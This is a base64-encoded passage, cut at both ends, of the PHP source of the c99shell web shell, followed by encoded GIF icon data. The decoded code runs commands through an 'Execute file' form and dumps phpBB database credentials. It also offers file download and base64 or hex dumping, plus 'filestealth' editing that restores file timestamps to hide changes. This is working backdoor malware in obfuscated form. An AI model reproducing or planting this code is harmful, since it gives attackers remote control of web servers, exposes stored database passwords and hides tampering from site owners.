CBlbHNlaWYoJGJhc2U2NCA9PSAyKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKSk7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQ0KICAgew0KICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7DQogICAgZWNobyAiPGI+QmFzZTY0IERlY29kZSI7DQogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9DQogICAgZWNobyAiPC9iPjxicj4iOw0KICAgfQ0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpDQogICB7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZWQpLiI8L3RleHRhcmVhPjxicj48YnI+IjsNCiAgIH0NCiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQo8UD4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikNCiAgew0KICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30NCiAgIGVjaG8gJHI7DQogICBpZiAoJHdoaXRlKSB7Yzk5c2hleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLHRydWUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikNCiAgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKQ0KICB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9Y21kXCIgbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiY29kZSIpDQogIHsNCiAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkNCiAgIHsNCiAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpDQogICAgew0KICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRiaG9zdCkuIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnVzZXIpLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKS4iJnNxbF9wb3J0PTMzMDYmc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkZGJuYW1lKS4iXCI+PGI+PHU+Q29ubmVjdCB0byBEQjwvdT48L2I+PC9hPjxicj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIkJ1dCwgeW91IGNhbid0IGNvbm5lY3QgdG8gZm9ydW0gc3FsLWJhc2UsIGJlY2F1c2UgZGItc29mdHdhcmU9XCIiLiRkYm1zLiJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IGM5OXNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICB9DQogICB9DQogICBlY2hvICI8ZGl2IHN0eWxlPVwiYm9yZGVyIDogMHB4IHNvbGlkICNGRkZGRkY7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiAxZW07IG1hcmdpbi1yaWdodDogMWVtOyBtYXJnaW4tbGVmdDogMWVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAiLiRoaWdobGlnaHRfYmFja2dyb3VuZCAuIjtcIj4iOw0KICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7QG9iX2NsZWFuKCk7fQ0KICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7Yzk5c2hleGl0KCk7fQ0KICAgZWNobyAiPC9kaXY+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZG93bmxvYWQiKQ0KICB7DQogICBAb2JfY2xlYW4oKTsNCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTsNCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiJcIjsiKTsNCiAgIGVjaG8gJHI7DQogICBleGl0Ow0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFkIikNCiAgew0KICAgQG9iX2NsZWFuKCk7DQogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTsNCiAgIGVjaG8oJHIpOw0KICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikNCiAgew0KICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7DQogICBpZiAoISR3aGl0ZSkNCiAgIHsNCiAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgJHdpZHRoID0gJGluZlswXS8xMDAqJGltZ3NpemU7DQogICAgJGhlaWdodCA9ICRpbmZbMV0vMTAwKiRpbWdzaXplOw0KICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAkc2l6ZXMgPSBhcnJheSgiMTAwIiwiNTAiLCIyMCIpOw0KICAgIGZvcmVhY2ggKCRzaXplcyBhcyAkdikNCiAgICB7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgIH0NCiAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgd2lkdGg9XCIiLiR3aWR0aC4iXCIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiBib3JkZXI9XCIxXCI+PC9jZW50ZXI+IjsNCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOw0KICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7DQogICAgcmVhZGZpbGUoJGQuJGYpOw0KICAgIGV4aXQ7DQogICB9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKQ0KICB7DQogICBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KICAgew0KICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJGQuJGYpO30NCiAgICAkZnAgPSBmb3BlbigkZC4kZiwidyIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiPGI+Q2FuJ3Qgd3JpdGUgdG8gZmlsZSE8L2I+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgZWNobyAiPGI+U2F2ZWQhPC9iPiI7DQogICAgIGZ3cml0ZSgkZnAsJGVkaXRfdGV4dCk7DQogICAgIGZjbG9zZSgkZnApOw0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJGQuJGYsJHN0YXRbOV0sJHN0YXRbOF0pO30NCiAgICAgJHIgPSAkZWRpdF90ZXh0Ow0KICAgIH0NCiAgIH0NCiAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHIpKTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBpZiAoJHJvd3MgPiAzMCkgeyRyb3dzID0gMzA7fQ0KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwicmVzZXRcIiB2YWx1ZT1cIlJlc2V0XCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibG9jYXRpb24uaHJlZj0nIi5hZGRzbGFzaGVzKCRzdXJsLiJhY3Q9bHMmZD0iLnN1YnN0cigkZCwwLC0xKSkuIic7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZWRpdF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoIWVtcHR5KCRmdCkpIHtlY2hvICI8Y2VudGVyPjxiPk1hbnVhbGx5IHNlbGVjdGVkIHR5cGUgaXMgaW5jb3JyZWN0LiBJZiB5b3UgdGhpbmssIGl0IGlzIG1pc3Rha2UsIHBsZWFzZSBzZW5kIHVzIHVybCBhbmQgZHVtcCBvZiBcJEdMT0JBTFMuPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9iPjwvY2VudGVyPiI7fQ0KIH0NCn0NCn0NCmVsc2UNCnsNCiBAb2JfY2xlYW4oKTsNCiAkaW1hZ2VzID0gYXJyYXkoDQoiYXJyb3dfbHRyIj0+DQoiUjBsR09EbGhKZ0FXQUlBQUFBQUFBUC8vL3lINUJBVVVBQUVBTEFBQUFBQW1BQllBQUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUSIuDQoiU0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLA0KImJhY2siPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4vM3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4NCiJXZzBKQURzPSIsDQoiYnVmZmVyIj0+DQoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNBTEFBQUFBQVVBQlFBQUFObyIuDQoiZUxyY3JpYkc5MHk0RjFBbXU1K05oWTJreGwyQ01Ld3JRUlNHdVZqcDRMbXdEQVdxaUFHRlhDaGcreGhuUkIrcHRMT2hhaTFjckVtRCIuDQoiRGx3djRjRUM0Nm1pMllnSlFLYXhzRUdERm5uR3dXRFRFemo5anJQUmRiaHVHOENyLzJJTlpJT0VoWHNiRHdrQU93PT0iLA0KImNoYW5nZSI9Pg0KIlIwbEdPRGxoRkFBVUFNUWZBTDNoajduWCtwcW8xZWp5L2Y3WUFjVGIrOHZoKzZGdEg1NldadHZyL1JBUUVaZWN4OUxsL1BYNi92MysiLg0KIi8zZUh0NnE4OGVIdS9aa2ZIM3lWeUl1UXQrNzIva09tOTlmby9QOEFabTU3cmtHUzRIZXo2cGlsOW9lcDNHWm1adi8vL3lINUJBRUEiLg0KIkFCOEFMQUFBQUFBVUFCUUFBQVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0MiLg0KIndTaVV0bVlra3Jnd09BZUE1enJxYUxsZEJpTk1JSmVEMjY2WFlUZ1FEbTVSeDhtZEcrb0FiU1lkYUg0R2EzYzhKQk1KYVhRR0JRZ0EiLg0KIkNIa2pFNGFRa1EwQWxTSVRhbitaQVFxa2lpUVBqMUFGQWFNS0VLWWpEMzlRckt3S0FhOG5HUUs4QWd1L0N4VENzQ01leHNmSXhqREwiLg0KInpNc2hBRHM9IiwNCiJkZWxldGUiPT4NCiJSMGxHT0RsaEZBQVVBT1paQVB6OC9OUEZ5TmdITHMwWU92UHo4L2IyOXNhY3BOWFYxZlgxOWN3WE9mRHc4S2VucC9uNStldGdldW5wIi4NCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQblAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4NCiJzR1JrWkdwT1UrSWZRK0VRTm9oNmZkSWNQZUhoNFlXRmhiSlFZdkx5OHVpK3htNXVic3hjY094OGtjTTRVdFk5V2VBZFFZbUppZld2Ii4NCiJ2SHg4Zk1uSnljTTNVZjN2OHJSdWU5OE9OYk96czlZRks1U1VsS1lvUCtUazVOMG9TdWZuNTdaR1dzUXJSOWtJTDVDUWtPUGo0MlZsIi4NCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1Ii4NCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhvZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4NCiJTVG81TXhPZmhRd0JBMWdZQ2hja1FCazFPd2lJQUxBQ0xrZ3hKaWxUQkk2OVJGaERGaDRIREpSWlZGZ1BQRkJSMEZrTldEZE1IQThHIi4NCiJCWlRhTUNJU1ZnTUM0SWtWV0NjYVBTaTk2T3FHTkZoS0kwNGRncjBRV0ZjS0RMM0E0dU9JalZaWkFCeFFJV0RCTGtJRVFyUm9Rc0hRIi4NCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwNCiJkb3dubG9hZCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFBQVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLg0KIkVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01mZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLA0KImZvcndhcmQiPT4NCiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pESzJRcDl4VjVXaU41RzUwRlphUkxENkloRTY2THB0M1JEYmQ5Q1FGU0U0UCsrUVc3SGU3VUtQaDBJcVZ3MmwwUlFTRXF0Ii4NCiJXcXNKQURzPSIsDQoiaG9tZSI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpMS3lzb2FHaG1abVpnUUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIrTU1rNVRUV0k2aXB5TW9PM2NVV1JnZUpvQ0NhTG9LTzBtcTBaeGpOU0JEV1MiLg0KImtycUFzTGZKN1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VWSzNRdGdOL2oiLg0KIlZ3TXJCRFp2Z0YrQ2hIYUdlWWlDQlFZSENIOFZCSmFXZEFlU2w1WWlXNStnb0JJUkFEcz0iLA0KIm1vZGUiPT4NCiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1abVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQWRBQlFBQUFTQkVNbEpxNzA0NjFtNi8rQUhaTVVnbkdpcW5pTldISEFzejNGN0ZVR3U3M3hPIi4NCiIyQlpjd0dEb0VYay9VcTRJQ0FDZVE2ZnptWFRsbnMwZGRsZTk5YjdjRnZZcEVSNTVaMTBYeTFsS3Q4d3BvSXNBQ3JkYXFCcFlFWUsvIi4NCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUrZ254dWpwQklSQURzPSIsDQoicmVmcmVzaCI9Pg0KIlIwbEdPRGxoRVFBVUFMTUFBQUFBQVAvLy8vSHg4ZXJxNnVQajQ5M2QzY3pNekxLeXNvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1LaTZ6V1kiLg0KIjNBS0NZYmpvL1k0RVFxRmdLSVlVaDhFdnVXUTZQd1BGUUpwVUxwdW5yWFpMcllLeDIwRzNvREE3MDkzRXN2MTlxNU8vd29GdTlaQUoiLg0KIlIzbHVmbVdDVlgxM2gzS0hmV1dNakdCRGtwT1VUVHVYbUpnUkFEcz0iLA0KInNlYXJjaCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpNREF3TEt5c29hR2huZDNkMlptWmw5ZlgwMU5UU2twS1FRRUJQLy8iLg0KIi93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNuME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXAiLg0KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlTQ1o0Q0dyVVdNQStMTER4dVNIc0QiLg0KIkFrTjRDM3NmQlgxMFZIYUJKNFFmQTRlSVU0cGlqUWNGbUNWb05rRmxnZ2NNUlNjTlNVQ2RKeWhvRGFzTlo1TVREVnNYQndsdmlSbXIiLg0KIkNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09IiwNCiJzZXR1cCI9Pg0KIlIwbEdPRGxoRkFBVUFNUUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TURBd0xLeXNwYVdsb2FHaG5kM2QyWm1abDlmWDAxTlRVSkMiLg0KIlFod2NIUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLg0KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLg0KInFDYUNKNGVJR1FWb0lWV3NUZlFvWE1mb1VmbU1acmdaMkdORFBHSUk3Z0pETFlFcndHMXZnVzhDQ1F0emdIaUpBbmFGaHl0MmR3UUUiLg0KIk93Y01ab1owa0pLVWxaZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9PSIsDQoic21hbGxfZGlyIj0+DQoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuDQoiLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLA0KInNtYWxsX3VuayI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLg0KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLg0KIi9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEiLg0KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLg0KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLg0KIndyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXoiLg0KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLg0KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLg0KIjI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkdsZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ